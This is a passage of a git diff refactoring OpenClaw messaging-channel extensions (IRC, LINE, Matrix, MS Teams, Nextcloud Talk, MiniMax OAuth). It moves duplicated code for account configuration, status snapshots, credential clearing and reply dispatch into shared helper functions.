formatTextWithAttachmentLinks, logInboundDrop, isDangerousNameMatchingEnabled, @@ -332,44 +331,31 @@ export async function handleIrcInbound(params: { CommandAuthorized: commandAuthorized, }); - await core.channel.session.recordInboundSession({ + await dispatchInboundReplyWithBase({ + cfg: config as OpenClawConfig, + channel: CHANNEL_ID, + accountId: account.accountId, + route, storePath, - sessionKey: ctxPayload.SessionKey ?? route.sessionKey, - ctx: ctxPayload, + ctxPayload, + core, + deliver: async (payload) => { + await deliverIrcReply({ + payload, + target: peerId, + accountId: account.accountId, + sendReply: params.sendReply, + statusSink, + }); + }, onRecordError: (err) => { runtime.error?.(`irc: failed updating session meta: ${String(err)}`); }, - }); - - const { onModelSelected, ...prefixOptions } = createReplyPrefixOptions({ - cfg: config as OpenClawConfig, - agentId: route.agentId, - channel: CHANNEL_ID, - accountId: account.accountId, - }); - const deliverReply = createNormalizedOutboundDeliverer(async (payload) => { - await deliverIrcReply({ - payload, - target: peerId, - accountId: account.accountId, - sendReply: params.sendReply, - statusSink, - }); - }); - - await core.channel.reply.dispatchReplyWithBufferedBlockDispatcher({ - ctx: ctxPayload, - cfg: config as OpenClawConfig, - dispatcherOptions: { - ...prefixOptions, - deliver: deliverReply, - onError: (err, info) => { - runtime.error?.(`irc ${info.kind} reply failed: ${String(err)}`); - }, + onDispatchError: (err, info) => { + runtime.error?.(`irc ${info.kind} reply failed: ${String(err)}`); }, replyOptions: { skillFilter: groupMatch.groupConfig?.skills, - onModelSelected, disableBlockStreaming: typeof account.config.blockStreaming === "boolean" ? !account.config.blockStreaming diff --git a/extensions/line/src/channel.ts b/extensions/line/src/channel.ts index c29046eaaf0..69491cf61f2 100644 --- a/extensions/line/src/channel.ts +++ b/extensions/line/src/channel.ts @@ -1,6 +1,8 @@ import { buildChannelConfigSchema, + buildComputedAccountStatusSnapshot, buildTokenChannelStatusSummary, + clearAccountEntryFields, DEFAULT_ACCOUNT_ID, LineConfigSchema, processLineMessage, @@ -27,6 +29,42 @@ const meta = { systemImage: "message.fill", }; +function patchLineAccountConfig( + cfg: OpenClawConfig, + lineConfig: LineConfig, + accountId: string, + patch: Record, +): OpenClawConfig { + if (accountId === DEFAULT_ACCOUNT_ID) { + return { + ...cfg, + channels: { + ...cfg.channels, + line: { + ...lineConfig, + ...patch, + }, + }, + }; + } + return { + ...cfg, + channels: { + ...cfg.channels, + line: { + ...lineConfig, + accounts: { + ...lineConfig.accounts, + [accountId]: { + ...lineConfig.accounts?.[accountId], + ...patch, + }, + }, + }, + }, + }; +} + export const linePlugin: ChannelPlugin = { id: "line", meta: { @@ -67,34 +105,7 @@ export const linePlugin: ChannelPlugin = { defaultAccountId: (cfg) => getLineRuntime().channel.line.resolveDefaultLineAccountId(cfg), setAccountEnabled: ({ cfg, accountId, enabled }) => { const lineConfig = (cfg.channels?.line ?? {}) as LineConfig; - if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - enabled, - }, - }, - }; - } - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - accounts: { - ...lineConfig.accounts, - [accountId]: { - ...lineConfig.accounts?.[accountId], - enabled, - }, - }, - }, - }, - }; + return patchLineAccountConfig(cfg, lineConfig, accountId, { enabled }); }, deleteAccount: ({ cfg, accountId }) => { const lineConfig = (cfg.channels?.line ?? {}) as LineConfig; @@ -224,34 +235,7 @@ export const linePlugin: ChannelPlugin = { getLineRuntime().channel.line.normalizeAccountId(accountId), applyAccountName: ({ cfg, accountId, name }) => { const lineConfig = (cfg.channels?.line ?? {}) as LineConfig; - if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - name, - }, - }, - }; - } - return { - ...cfg, - channels: { - ...cfg.channels, - line: { - ...lineConfig, - accounts: { - ...lineConfig.accounts, - [accountId]: { - ...lineConfig.accounts?.[accountId], - name, - }, - }, - }, - }, - }; + return patchLineAccountConfig(cfg, lineConfig, accountId, { name }); }, validateInput: ({ accountId, input }) => { const typedInput = input as { @@ -615,20 +599,18 @@ export const linePlugin: ChannelPlugin = { const configured = Boolean( account.channelAccessToken?.trim() && account.channelSecret?.trim(), ); - return { + const base = buildComputedAccountStatusSnapshot({ accountId: account.accountId, name: account.name, enabled: account.enabled, configured, - tokenSource: account.tokenSource, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, - mode: "webhook", + runtime, probe, - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, + }); + return { + ...base, + tokenSource: account.tokenSource, + mode: "webhook", }; }, }, @@ -699,39 +681,21 @@ export const linePlugin: ChannelPlugin = { } } - const accounts = nextLine.accounts ? { ...nextLine.accounts } : undefined; - if (accounts && accountId in accounts) { - const entry = accounts[accountId]; - if (entry && typeof entry === "object") { - const nextEntry = { ...entry } as Record; - if ( - "channelAccessToken" in nextEntry || - "channelSecret" in nextEntry || - "tokenFile" in nextEntry || - "secretFile" in nextEntry - ) { - cleared = true; - delete nextEntry.channelAccessToken; - delete nextEntry.channelSecret; - delete nextEntry.tokenFile; - delete nextEntry.secretFile; - changed = true; - } - if (Object.keys(nextEntry).length === 0) { - delete accounts[accountId]; - changed = true; - } else { - accounts[accountId] = nextEntry as typeof entry; - } + const accountCleanup = clearAccountEntryFields({ + accounts: nextLine.accounts, + accountId, + fields: ["channelAccessToken", "channelSecret", "tokenFile", "secretFile"], + markClearedOnFieldPresence: true, + }); + if (accountCleanup.changed) { + changed = true; + if (accountCleanup.cleared) { + cleared = true; } - } - - if (accounts) { - if (Object.keys(accounts).length === 0) { - delete nextLine.accounts; - changed = true; + if (accountCleanup.nextAccounts) { + nextLine.accounts = accountCleanup.nextAccounts; } else { - nextLine.accounts = accounts; + delete nextLine.accounts; } } diff --git a/extensions/matrix/src/channel.ts b/extensions/matrix/src/channel.ts index 3ccfd2a8ae4..29dfe5fd357 100644 --- a/extensions/matrix/src/channel.ts +++ b/extensions/matrix/src/channel.ts @@ -2,6 +2,7 @@ import { applyAccountNameToChannelSection, buildChannelConfigSchema, buildProbeChannelStatusSummary, + collectStatusIssuesFromLastError, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, formatPairingApproveHint, @@ -380,21 +381,7 @@ export const matrixPlugin: ChannelPlugin = { lastStopAt: null, lastError: null, }, - collectStatusIssues: (accounts) => - accounts.flatMap((account) => { - const lastError = typeof account.lastError === "string" ? account.lastError.trim() : ""; - if (!lastError) { - return []; - } - return [ - { - channel: "matrix", - accountId: account.accountId, - kind: "runtime", - message: `Channel error: ${lastError}`, - }, - ]; - }), + collectStatusIssues: (accounts) => collectStatusIssuesFromLastError("matrix", accounts), buildChannelSummary: ({ snapshot }) => buildProbeChannelStatusSummary(snapshot, { baseUrl: snapshot.baseUrl ?? null }), probeAccount: async ({ account, timeoutMs, cfg }) => { diff --git a/extensions/matrix/src/matrix/monitor/handler.ts b/extensions/matrix/src/matrix/monitor/handler.ts index 53651ce4b16..bacd6890ab9 100644 --- a/extensions/matrix/src/matrix/monitor/handler.ts +++ b/extensions/matrix/src/matrix/monitor/handler.ts @@ -4,9 +4,11 @@ import { createScopedPairingAccess, createReplyPrefixOptions, createTypingCallbacks, + dispatchReplyFromConfigWithSettledDispatcher, formatAllowlistMatchMeta, logInboundDrop, logTypingFailure, + resolveInboundSessionEnvelopeContext, resolveControlCommandGate, type PluginRuntime, type RuntimeEnv, @@ -484,14 +486,12 @@ export function createMatrixRoomMessageHandler(params: MatrixMonitorHandlerParam const textWithId = threadRootId ? `${bodyText}\n[matrix event id: ${messageId} room: ${roomId} thread: ${threadRootId}]` : `${bodyText}\n[matrix event id: ${messageId} room: ${roomId}]`; - const storePath = core.channel.session.resolveStorePath(cfg.session?.store, { - agentId: route.agentId, - }); - const envelopeOptions = core.channel.reply.resolveEnvelopeFormatOptions(cfg); - const previousTimestamp = core.channel.session.readSessionUpdatedAt({ - storePath, - sessionKey: route.sessionKey, - }); + const { storePath, envelopeOptions, previousTimestamp } = + resolveInboundSessionEnvelopeContext({ + cfg, + agentId: route.agentId, + sessionKey: route.sessionKey, + }); const body = core.channel.reply.formatInboundEnvelope({ channel: "Matrix", from: envelopeFrom, @@ -655,22 +655,18 @@ export function createMatrixRoomMessageHandler(params: MatrixMonitorHandlerParam }, }); - const { queuedFinal, counts } = await core.channel.reply.withReplyDispatcher({ + const { queuedFinal, counts } = await dispatchReplyFromConfigWithSettledDispatcher({ + cfg, + ctxPayload, dispatcher, onSettled: () => { markDispatchIdle(); }, - run: () => - core.channel.reply.dispatchReplyFromConfig({ - ctx: ctxPayload, - cfg, - dispatcher, - replyOptions: { - ...replyOptions, - skillFilter: roomConfig?.skills, - onModelSelected, - }, - }), + replyOptions: { + ...replyOptions, + skillFilter: roomConfig?.skills, + onModelSelected, + }, }); if (!queuedFinal) { return; diff --git a/extensions/matrix/src/matrix/monitor/index.ts b/extensions/matrix/src/matrix/monitor/index.ts index 2449b215715..1634a75502b 100644 --- a/extensions/matrix/src/matrix/monitor/index.ts +++ b/extensions/matrix/src/matrix/monitor/index.ts @@ -1,7 +1,7 @@ import { - createLoggerBackedRuntime, GROUP_POLICY_BLOCKED_LABEL, mergeAllowlist, + resolveRuntimeEnv, resolveAllowlistProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, summarizeMapping, @@ -241,11 +241,10 @@ export async function monitorMatrixProvider(opts: MonitorMatrixOpts = {}): Promi } const logger = core.logging.getChildLogger({ module: "matrix-auto-reply" }); - const runtime: RuntimeEnv = - opts.runtime ?? - createLoggerBackedRuntime({ - logger, - }); + const runtime: RuntimeEnv = resolveRuntimeEnv({ + runtime: opts.runtime, + logger, + }); const logVerboseMessage = (message: string) => { if (!core.logging.shouldLogVerbose()) { return; diff --git a/extensions/minimax-portal-auth/index.ts b/extensions/minimax-portal-auth/index.ts index 6eee6bdabe1..d2d1bab9899 100644 --- a/extensions/minimax-portal-auth/index.ts +++ b/extensions/minimax-portal-auth/index.ts @@ -1,4 +1,5 @@ import { + buildOauthProviderAuthResult, emptyPluginConfigSchema, type OpenClawPluginApi, type ProviderAuthContext, @@ -60,22 +61,14 @@ function createOAuthHandler(region: MiniMaxRegion) { await ctx.prompter.note(result.notification_message, "MiniMax OAuth"); } - const profileId = `${PROVIDER_ID}:default`; const baseUrl = result.resourceUrl || defaultBaseUrl; - return { - profiles: [ - { - profileId, - credential: { - type: "oauth" as const, - provider: PROVIDER_ID, - access: result.access, - refresh: result.refresh, - expires: result.expires, - }, - }, - ], + return buildOauthProviderAuthResult({ + providerId: PROVIDER_ID, + defaultModel: modelRef(DEFAULT_MODEL), + access: result.access, + refresh: result.refresh, + expires: result.expires, configPatch: { models: { providers: { @@ -119,13 +112,12 @@ function createOAuthHandler(region: MiniMaxRegion) { }, }, }, - defaultModel: modelRef(DEFAULT_MODEL), notes: [ "MiniMax OAuth tokens auto-refresh. Re-run login if refresh fails or access is revoked.", `Base URL defaults to ${defaultBaseUrl}. Override models.providers.${PROVIDER_ID}.baseUrl if needed.`, ...(result.notification_message ? [result.notification_message] : []), ], - }; + }); } catch (err) { const errorMsg = err instanceof Error ? err.message : String(err); progress.stop(`MiniMax OAuth failed: ${errorMsg}`); diff --git a/extensions/msteams/src/channel.ts b/extensions/msteams/src/channel.ts index 90223956988..be804a25c44 100644 --- a/extensions/msteams/src/channel.ts +++ b/extensions/msteams/src/channel.ts @@ -4,7 +4,8 @@ import type { OpenClawConfig, } from "openclaw/plugin-sdk/msteams"; import { - buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, buildChannelConfigSchema, createDefaultChannelRuntimeState, DEFAULT_ACCOUNT_ID, @@ -250,11 +251,43 @@ export const msteamsPlugin: ChannelPlugin = { name: undefined as string | undefined, note: undefined as string | undefined, })); + type ResolveTargetResultEntry = (typeof results)[number]; + type PendingTargetEntry = { input: string; query: string; index: number }; const stripPrefix = (value: string) => normalizeMSTeamsUserInput(value); + const markPendingLookupFailed = (pending: PendingTargetEntry[]) => { + pending.forEach(({ index }) => { + const entry = results[index]; + if (entry) { + entry.note = "lookup failed"; + } + }); + }; + const resolvePending = async ( + pending: PendingTargetEntry[], + resolveEntries: (entries: string[]) => Promise, + applyResolvedEntry: (target: ResolveTargetResultEntry, entry: T) => void, + ) => { + if (pending.length === 0) { + return; + } + try { + const resolved = await resolveEntries(pending.map((entry) => entry.query)); + resolved.forEach((entry, idx) => { + const target = results[pending[idx]?.index ?? -1]; + if (!target) { + return; + } + applyResolvedEntry(target, entry); + }); + } catch (err) { + runtime.error?.(`msteams resolve failed: ${String(err)}`); + markPendingLookupFailed(pending); + } + }; if (kind === "user") { - const pending: Array<{ input: string; query: string; index: number }> = []; + const pending: PendingTargetEntry[] = []; results.forEach((entry, index) => { const trimmed = entry.input.trim(); if (!trimmed) { @@ -270,37 +303,21 @@ export const msteamsPlugin: ChannelPlugin = { pending.push({ input: entry.input, query: cleaned, index }); }); - if (pending.length > 0) { - try { - const resolved = await resolveMSTeamsUserAllowlist({ - cfg, - entries: pending.map((entry) => entry.query), - }); - resolved.forEach((entry, idx) => { - const target = results[pending[idx]?.index ?? -1]; - if (!target) { - return; - } - target.resolved = entry.resolved; - target.id = entry.id; - target.name = entry.name; - target.note = entry.note; - }); - } catch (err) { - runtime.error?.(`msteams resolve failed: ${String(err)}`); - pending.forEach(({ index }) => { - const entry = results[index]; - if (entry) { - entry.note = "lookup failed"; - } - }); - } - } + await resolvePending( + pending, + (entries) => resolveMSTeamsUserAllowlist({ cfg, entries }), + (target, entry) => { + target.resolved = entry.resolved; + target.id = entry.id; + target.name = entry.name; + target.note = entry.note; + }, + ); return results; } - const pending: Array<{ input: string; query: string; index: number }> = []; + const pending: PendingTargetEntry[] = []; results.forEach((entry, index) => { const trimmed = entry.input.trim(); if (!trimmed) { @@ -323,48 +340,32 @@ export const msteamsPlugin: ChannelPlugin = { pending.push({ input: entry.input, query, index }); }); - if (pending.length > 0) { - try { - const resolved = await resolveMSTeamsChannelAllowlist({ - cfg, - entries: pending.map((entry) => entry.query), - }); - resolved.forEach((entry, idx) => { - const target = results[pending[idx]?.index ?? -1]; - if (!target) { - return; - } - if (!entry.resolved || !entry.teamId) { - target.resolved = false; - target.note = entry.note; - return; - } - target.resolved = true; - if (entry.channelId) { - target.id = `${entry.teamId}/${entry.channelId}`; - target.name = - entry.channelName && entry.teamName - ? `${entry.teamName}/${entry.channelName}` - : (entry.channelName ?? entry.teamName); - } else { - target.id = entry.teamId; - target.name = entry.teamName; - target.note = "team id"; - } - if (entry.note) { - target.note = entry.note; - } - }); - } catch (err) { - runtime.error?.(`msteams resolve failed: ${String(err)}`); - pending.forEach(({ index }) => { - const entry = results[index]; - if (entry) { - entry.note = "lookup failed"; - } - }); - } - } + await resolvePending( + pending, + (entries) => resolveMSTeamsChannelAllowlist({ cfg, entries }), + (target, entry) => { + if (!entry.resolved || !entry.teamId) { + target.resolved = false; + target.note = entry.note; + return; + } + target.resolved = true; + if (entry.channelId) { + target.id = `${entry.teamId}/${entry.channelId}`; + target.name = + entry.channelName && entry.teamName + ? `${entry.teamName}/${entry.channelName}` + : (entry.channelName ?? entry.teamName); + } else { + target.id = entry.teamId; + target.name = entry.teamName; + target.note = "team id"; + } + if (entry.note) { + target.note = entry.note; + } + }, + ); return results; }, @@ -429,23 +430,17 @@ export const msteamsPlugin: ChannelPlugin = { outbound: msteamsOutbound, status: { defaultRuntime: createDefaultChannelRuntimeState(DEFAULT_ACCOUNT_ID, { port: null }), - buildChannelSummary: ({ snapshot }) => ({ - ...buildBaseChannelStatusSummary(snapshot), - port: snapshot.port ?? null, - probe: snapshot.probe, - lastProbeAt: snapshot.lastProbeAt ?? null, - }), + buildChannelSummary: ({ snapshot }) => + buildProbeChannelStatusSummary(snapshot, { + port: snapshot.port ?? null, + }), probeAccount: async ({ cfg }) => await probeMSTeams(cfg.channels?.msteams), buildAccountSnapshot: ({ account, runtime, probe }) => ({ accountId: account.accountId, enabled: account.enabled, configured: account.configured, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + ...buildRuntimeAccountStatusSnapshot({ runtime, probe }), port: runtime?.port ?? null, - probe, }), }, gateway: { diff --git a/extensions/msteams/src/messenger.test.ts b/extensions/msteams/src/messenger.test.ts index 627bad15d94..aa0a92b5159 100644 --- a/extensions/msteams/src/messenger.test.ts +++ b/extensions/msteams/src/messenger.test.ts @@ -72,6 +72,17 @@ const createRecordedSendActivity = ( }; }; +const REVOCATION_ERROR = "Cannot perform 'set' on a proxy that has been revoked"; + +const createFallbackAdapter = (proactiveSent: string[]): MSTeamsAdapter => ({ + continueConversation: async (_appId, _reference, logic) => { + await logic({ + sendActivity: createRecordedSendActivity(proactiveSent), + }); + }, + process: async () => {}, +}); + describe("msteams messenger", () => { beforeEach(() => { setMSTeamsRuntime(runtimeStub); @@ -297,18 +308,11 @@ describe("msteams messenger", () => { const ctx = { sendActivity: async () => { - throw new TypeError("Cannot perform 'set' on a proxy that has been revoked"); + throw new TypeError(REVOCATION_ERROR); }, }; - const adapter: MSTeamsAdapter = { - continueConversation: async (_appId, _reference, logic) => { - await logic({ - sendActivity: createRecordedSendActivity(proactiveSent), - }); - }, - process: async () => {}, - }; + const adapter = createFallbackAdapter(proactiveSent); const ids = await sendMSTeamsMessages({ replyStyle: "thread", @@ -338,18 +342,11 @@ describe("msteams messenger", () => { threadSent.push(content); return { id: `id:${content}` }; } - throw new TypeError("Cannot perform 'set' on a proxy that has been revoked"); + throw new TypeError(REVOCATION_ERROR); }, }; - const adapter: MSTeamsAdapter = { - continueConversation: async (_appId, _reference, logic) => { - await logic({ - sendActivity: createRecordedSendActivity(proactiveSent), - }); - }, - process: async () => {}, - }; + const adapter = createFallbackAdapter(proactiveSent); const ids = await sendMSTeamsMessages({ replyStyle: "thread", diff --git a/extensions/msteams/src/monitor-handler/message-handler.ts b/extensions/msteams/src/monitor-handler/message-handler.ts index b4a305fd7d4..ba68fc9f5c9 100644 --- a/extensions/msteams/src/monitor-handler/message-handler.ts +++ b/extensions/msteams/src/monitor-handler/message-handler.ts @@ -2,6 +2,7 @@ import { DEFAULT_ACCOUNT_ID, buildPendingHistoryContextFromMap, clearHistoryEntriesIfEnabled, + dispatchReplyFromConfigWithSettledDispatcher, DEFAULT_GROUP_HISTORY_LIMIT, createScopedPairingAccess, logInboundDrop, @@ -11,6 +12,7 @@ import { isDangerousNameMatchingEnabled, readStoreAllowFromForDmPolicy, resolveMentionGating, + resolveInboundSessionEnvelopeContext, formatAllowlistMatchMeta, resolveEffectiveAllowFromLists, resolveDmGroupAccessWithLists, @@ -451,12 +453,9 @@ export function createMSTeamsMessageHandler(deps: MSTeamsMessageHandlerDeps) { const mediaPayload = buildMSTeamsMediaPayload(mediaList); const envelopeFrom = isDirectMessage ? senderName : conversationType; - const storePath = core.channel.session.resolveStorePath(cfg.session?.store, { + const { storePath, envelopeOptions, previousTimestamp } = resolveInboundSessionEnvelopeContext({ + cfg, agentId: route.agentId, - }); - const envelopeOptions = core.channel.reply.resolveEnvelopeFormatOptions(cfg); - const previousTimestamp = core.channel.session.readSessionUpdatedAt({ - storePath, sessionKey: route.sessionKey, }); const body = core.channel.reply.formatAgentEnvelope({ @@ -559,18 +558,14 @@ export function createMSTeamsMessageHandler(deps: MSTeamsMessageHandlerDeps) { log.info("dispatching to agent", { sessionKey: route.sessionKey }); try { - const { queuedFinal, counts } = await core.channel.reply.withReplyDispatcher({ + const { queuedFinal, counts } = await dispatchReplyFromConfigWithSettledDispatcher({ + cfg, + ctxPayload, dispatcher, onSettled: () => { markDispatchIdle(); }, - run: () => - core.channel.reply.dispatchReplyFromConfig({ - ctx: ctxPayload, - cfg, - dispatcher, - replyOptions, - }), + replyOptions, }); log.info("dispatch complete", { queuedFinal, counts }); diff --git a/extensions/msteams/src/send.ts b/extensions/msteams/src/send.ts index cfa023d8871..48fe0443a22 100644 --- a/extensions/msteams/src/send.ts +++ b/extensions/msteams/src/send.ts @@ -157,24 +157,13 @@ export async function sendMessageMSTeams( log.debug?.("sending file consent card", { uploadId, fileName, size: media.buffer.length }); - const baseRef = buildConversationReference(ref); - const proactiveRef = { ...baseRef, activityId: undefined }; - - let messageId = "unknown"; - try { - await adapter.continueConversation(appId, proactiveRef, async (turnCtx) => { - const response = await turnCtx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; - }); - } catch (err) { - const classification = classifyMSTeamsSendError(err); - const hint = formatMSTeamsSendErrorHint(classification); - const status = classification.statusCode ? ` (HTTP ${classification.statusCode})` : ""; - throw new Error( - `msteams consent card send failed${status}: ${formatUnknownError(err)}${hint ? ` (${hint})` : ""}`, - { cause: err }, - ); - } + const messageId = await sendProactiveActivity({ + adapter, + appId, + ref, + activity, + errorPrefix: "msteams consent card send", + }); log.info("sent file consent card", { conversationId, messageId, uploadId }); @@ -245,14 +234,11 @@ export async function sendMessageMSTeams( text: messageText || undefined, attachments: [fileCardAttachment], }; - - const baseRef = buildConversationReference(ref); - const proactiveRef = { ...baseRef, activityId: undefined }; - - let messageId = "unknown"; - await adapter.continueConversation(appId, proactiveRef, async (turnCtx) => { - const response = await turnCtx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; + const messageId = await sendProactiveActivityRaw({ + adapter, + appId, + ref, + activity, }); log.info("sent native file card", { @@ -288,14 +274,11 @@ export async function sendMessageMSTeams( type: "message", text: messageText ? `${messageText}\n\n${fileLink}` : fileLink, }; - - const baseRef = buildConversationReference(ref); - const proactiveRef = { ...baseRef, activityId: undefined }; - - let messageId = "unknown"; - await adapter.continueConversation(appId, proactiveRef, async (turnCtx) => { - const response = await turnCtx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; + const messageId = await sendProactiveActivityRaw({ + adapter, + appId, + ref, + activity, }); log.info("sent message with OneDrive file link", { @@ -382,13 +365,14 @@ type ProactiveActivityParams = { errorPrefix: string; }; -async function sendProactiveActivity({ +type ProactiveActivityRawParams = Omit; + +async function sendProactiveActivityRaw({ adapter, appId, ref, activity, - errorPrefix, -}: ProactiveActivityParams): Promise { +}: ProactiveActivityRawParams): Promise { const baseRef = buildConversationReference(ref); const proactiveRef = { ...baseRef, @@ -396,12 +380,27 @@ async function sendProactiveActivity({ }; let messageId = "unknown"; + await adapter.continueConversation(appId, proactiveRef, async (ctx) => { + const response = await ctx.sendActivity(activity); + messageId = extractMessageId(response) ?? "unknown"; + }); + return messageId; +} + +async function sendProactiveActivity({ + adapter, + appId, + ref, + activity, + errorPrefix, +}: ProactiveActivityParams): Promise { try { - await adapter.continueConversation(appId, proactiveRef, async (ctx) => { - const response = await ctx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; + return await sendProactiveActivityRaw({ + adapter, + appId, + ref, + activity, }); - return messageId; } catch (err) { const classification = classifyMSTeamsSendError(err); const hint = formatMSTeamsSendErrorHint(classification); diff --git a/extensions/nextcloud-talk/src/channel.ts b/extensions/nextcloud-talk/src/channel.ts index 003a118e2ef..a547a735ad3 100644 --- a/extensions/nextcloud-talk/src/channel.ts +++ b/extensions/nextcloud-talk/src/channel.ts @@ -1,6 +1,9 @@ import { applyAccountNameToChannelSection, + buildBaseChannelStatusSummary, buildChannelConfigSchema, + buildRuntimeAccountStatusSnapshot, + clearAccountEntryFields, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, formatPairingApproveHint, @@ -288,17 +291,21 @@ export const nextcloudTalkPlugin: ChannelPlugin = lastStopAt: null, lastError: null, }, - buildChannelSummary: ({ snapshot }) => ({ - configured: snapshot.configured ?? false, - secretSource: snapshot.secretSource ?? "none", - running: snapshot.running ?? false, - mode: "webhook", - lastStartAt: snapshot.lastStartAt ?? null, - lastStopAt: snapshot.lastStopAt ?? null, - lastError: snapshot.lastError ?? null, - }), + buildChannelSummary: ({ snapshot }) => { + const base = buildBaseChannelStatusSummary(snapshot); + return { + configured: base.configured, + secretSource: snapshot.secretSource ?? "none", + running: base.running, + mode: "webhook", + lastStartAt: base.lastStartAt, + lastStopAt: base.lastStopAt, + lastError: base.lastError, + }; + }, buildAccountSnapshot: ({ account, runtime }) => { const configured = Boolean(account.secret?.trim() && account.baseUrl?.trim()); + const runtimeSnapshot = buildRuntimeAccountStatusSnapshot({ runtime }); return { accountId: account.accountId, name: account.name, @@ -306,10 +313,10 @@ export const nextcloudTalkPlugin: ChannelPlugin = configured, secretSource: account.secretSource, baseUrl: account.baseUrl ? "[set]" : "[missing]", - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + running: runtimeSnapshot.running, + lastStartAt: runtimeSnapshot.lastStartAt, + lastStopAt: runtimeSnapshot.lastStopAt, + lastError: runtimeSnapshot.lastError, mode: "webhook", lastInboundAt: runtime?.lastInboundAt ?? null, lastOutboundAt: runtime?.lastOutboundAt ?? null, @@ -353,36 +360,20 @@ export const nextcloudTalkPlugin: ChannelPlugin = cleared = true; changed = true; } - const accounts = - nextSection.accounts && typeof nextSection.accounts === "object" - ? { ...nextSection.accounts } - : undefined; - if (accounts && accountId in accounts) { - const entry = accounts[accountId]; - if (entry && typeof entry === "object") { - const nextEntry = { ...entry } as Record; - if ("botSecret" in nextEntry) { - const secret = nextEntry.botSecret; - if (typeof secret === "string" ? secret.trim() : secret) { - cleared = true; - } - delete nextEntry.botSecret; - changed = true; - } - if (Object.keys(nextEntry).length === 0) { - delete accounts[accountId]; - changed = true; - } else { - accounts[accountId] = nextEntry as typeof entry; - } + const accountCleanup = clearAccountEntryFields({ + accounts: nextSection.accounts, + accountId, + fields: ["botSecret"], + }); + if (accountCleanup.changed) { + changed = true; + if (accountCleanup.cleared) { + cleared = true; } - } - if (accounts) { - if (Object.keys(accounts).length === 0) { - delete nextSection.accounts; - changed = true; + if (accountCleanup.nextAccounts) { + nextSection.accounts = accountCleanup.nextAccounts; } else { - nextSection.accounts = accounts; + delete nextSection.accounts; } } } diff --git a/extensions/nextcloud-talk/src/inbound.ts b/extensions/nextcloud-talk/src/inbound.ts index 3b0addf257d..1657cbd9113 100644 --- a/extensions/nextcloud-talk/src/inbound.ts +++ b/extensions/nextcloud-talk/src/inbound.ts @@ -1,8 +1,7 @@ import { GROUP_POLICY_BLOCKED_LABEL, createScopedPairingAccess, - createNormalizedOutboundDeliverer, - createReplyPrefixOptions, + dispatchInboundReplyWithBase, formatTextWithAttachmentLinks, logInboundDrop, readStoreAllowFromForDmPolicy, @@ -291,43 +290,30 @@ export async function handleNextcloudTalkInbound(params: { CommandAuthorized: commandAuthorized, }); - await core.channel.session.recordInboundSession({ + await dispatchInboundReplyWithBase({ + cfg: config as OpenClawConfig, + channel: CHANNEL_ID, + accountId: account.accountId, + route, storePath, - sessionKey: ctxPayload.SessionKey ?? route.sessionKey, - ctx: ctxPayload, + ctxPayload, + core, + deliver: async (payload) => { + await deliverNextcloudTalkReply({ + payload, + roomToken, + accountId: account.accountId, + statusSink, + }); + }, onRecordError: (err) => { runtime.error?.(`nextcloud-talk: failed updating session meta: ${String(err)}`); }, - }); - - const { onModelSelected, ...prefixOptions } = createReplyPrefixOptions({ - cfg: config as OpenClawConfig, - agentId: route.agentId, - channel: CHANNEL_ID, - accountId: account.accountId, - }); - const deliverReply = createNormalizedOutboundDeliverer(async (payload) => { - await deliverNextcloudTalkReply({ - payload, - roomToken, - accountId: account.accountId, - statusSink, - }); - }); - - await core.channel.reply.dispatchReplyWithBufferedBlockDispatcher({ - ctx: ctxPayload, - cfg: config as OpenClawConfig, - dispatcherOptions: { - ...prefixOptions, - deliver: deliverReply, - onError: (err, info) => { - runtime.error?.(`nextcloud-talk ${info.kind} reply failed: ${String(err)}`); - }, + onDispatchError: (err, info) => { + runtime.error?.(`nextcloud-talk ${info.kind} reply failed: ${String(err)}`); }, replyOptions: { skillFilter: roomConfig?.skills, - onModelSelected, disableBlockStreaming: typeof account.config.blockStreaming === "boolean" ? !account.config.blockStreaming diff --git a/extensions/nextcloud-talk/src/onboarding.ts b/extensions/nextcloud-talk/src/onboarding.ts index 1f07ce48162..71d904c7a0e 100644 --- a/extensions/nextcloud-talk/src/onboarding.ts +++ b/extensions/nextcloud-talk/src/onboarding.ts @@ -43,6 +43,45 @@ function setNextcloudTalkDmPolicy(cfg: CoreConfig, dmPolicy: DmPolicy): CoreConf } as CoreConfig; } +function setNextcloudTalkAccountConfig( + cfg: CoreConfig, + accountId: string, + updates: Record, +): CoreConfig { + if (accountId === DEFAULT_ACCOUNT_ID) { + return { + ...cfg, + channels: { + ...cfg.channels, + "nextcloud-talk": { + ...cfg.channels?.["nextcloud-talk"], + enabled: true, + ...updates, + }, + }, + }; + } + + return { + ...cfg, + channels: { + ...cfg.channels, + "nextcloud-talk": { + ...cfg.channels?.["nextcloud-talk"], + enabled: true, + accounts: { + ...cfg.channels?.["nextcloud-talk"]?.accounts, + [accountId]: { + ...cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId], + enabled: cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, + ...updates, + }, + }, + }, + }, + }; +} + async function noteNextcloudTalkSecretHelp(prompter: WizardPrompter): Promise { await prompter.note( [ @@ -105,40 +144,10 @@ async function promptNextcloudTalkAllowFrom(params: { ]; const unique = mergeAllowFromEntries(undefined, merged); - if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...cfg, - channels: 